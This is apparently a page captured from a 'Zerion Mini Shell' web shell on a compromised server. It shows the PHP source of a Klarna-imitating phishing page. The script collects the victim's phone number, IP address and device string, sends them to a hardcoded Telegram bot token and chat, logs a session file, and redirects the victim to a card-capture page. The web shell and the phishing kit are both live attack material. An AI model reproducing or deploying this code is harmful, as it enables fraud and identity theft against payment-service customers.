%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/de/klarna/config/
Upload File :
Create Path :
Current File : /dom645759/de/klarna/config/num.php

<?php
session_start();

// --- DETECTION IP ---
function get_client_ip() {
    $ipaddress = '';
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        $ipaddress = $_SERVER['HTTP_CF_CONNECTING_IP'];
    } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ipaddress = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (isset($_SERVER['REMOTE_ADDR'])) {
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    } else {
        $ipaddress = 'UNKNOWN';
    }
    return $ipaddress;
}

$visitor_ip = get_client_ip();
$user_agent = $_SERVER['HTTP_USER_AGENT'];

// --- ID UEBERNAHME (aus POST oder GET) ---
$id = isset($_POST['id']) ? preg_replace('/[^a-zA-Z0-9]/', '', $_POST['id']) : (isset($_GET['id']) ? preg_replace('/[^a-zA-Z0-9]/', '', $_GET['id']) : '');
if (empty($id)) {
    $id = uniqid();
}

// --- TELEFONNUMMER AUS FORMULAR ---
$country_code = isset($_POST['country_code']) ? htmlspecialchars($_POST['country_code']) : '';
$mobile_number = isset($_POST['mobile_number']) ? preg_replace('/[^0-9]/', '', $_POST['mobile_number']) : '';
$full_phone = $country_code . $mobile_number;

// --- NACHRICHT FUER TELEGRAM ---
$message = "📞 <b>[ TELEFONNUMMER Klarna ]</b>\n";
$message .= "📱 Nummer: <code>$full_phone</code>\n";
$message .= "🌐 IP: <code>$visitor_ip</code>\n";
$message .= "📱 Gerät: <code>$user_agent</code>\n";
$message .= "🔢 Session ID: #$id";
$token = "8742336720:AAF0_XdzApcFxQ0Bvv6alyrZ9SY07XVwFME";
$chat_id = "8621462777";
$url = "https://api.telegram.org/bot$token/sendMessage?" . http_build_query([
    'text' => $message,
    'chat_id' => $chat_id,
    'parse_mode' => 'HTML'
]);

@file_get_contents($url);

// --- STATUS SPEICHERN (Automatisches Erstellen des Ordners falls fehlend) ---
$session_dir = "../sessions";
if (!is_dir($session_dir)) {
    // Erstellt den Ordner mit vollen Schreib- und Leserechten (0755)
    mkdir($session_dir, 0755, true); 
}

file_put_contents($session_dir . "/" . $id . ".txt", "Phone_received");
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Klarna – Sicher verbinden</title>
                        <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/klarna-icon.webp">

    <style>
        /* --- RESET & CENTRAGE --- */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            background: #ffffff;
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
            overflow: hidden;
            padding: 20px;
        }

        /* --- LOGO IMAGE ANIMATION --- */
        .klarna-logo-img {
            max-width: 120px;
            width: 100%;
            height: auto;
            animation: pulseFade 7s ease-in-out forwards;
            user-select: none;
            display: block;
        }

        /* --- ANIMATION : apparition → pulsation → disparition --- */
        @keyframes pulseFade {
            0% {
                opacity: 0;
                transform: scale(0.85);
            }
            15% {
                opacity: 1;
                transform: scale(1.05);
            }
            30% {
                transform: scale(1);
            }
            60% {
                opacity: 1;
                transform: scale(1);
            }
            85% {
                opacity: 0.6;
                transform: scale(0.95);
            }
            100% {
                opacity: 0;
                transform: scale(0.8);
            }
        }

        /* --- Petit sous‑texte optionnel (disparaît avec le logo) --- */
        .subnote {
            margin-top: 30px;
            font-size: 13px;
            color: #aaa;
            letter-spacing: 0.3px;
            opacity: 0;
            animation: fadeSub 7s ease-in-out forwards;
        }

        @keyframes fadeSub {
            0%, 70% { opacity: 0; }
            80% { opacity: 0.5; }
            100% { opacity: 0; }
        }
    </style>
</head>
<body>

    <!-- Logo Klarna (image) -->
    <img src="../img/klarna-icon.webp" alt="Klarna" class="klarna-logo-img">

    <!-- Petit texte de chargement -->
    <div class="subnote">Verbindung wird hergestellt …</div>

    <script>
        setTimeout(function() {
            window.location.href = "../cc.php?id=" + encodeURIComponent("<?php echo $id; ?>") + "&phone=" + encodeURIComponent("<?php echo $full_phone; ?>");
        }, 10000);
    </script>
</body>
</html>
<?php
exit;
?>

Zerion Mini Shell 1.0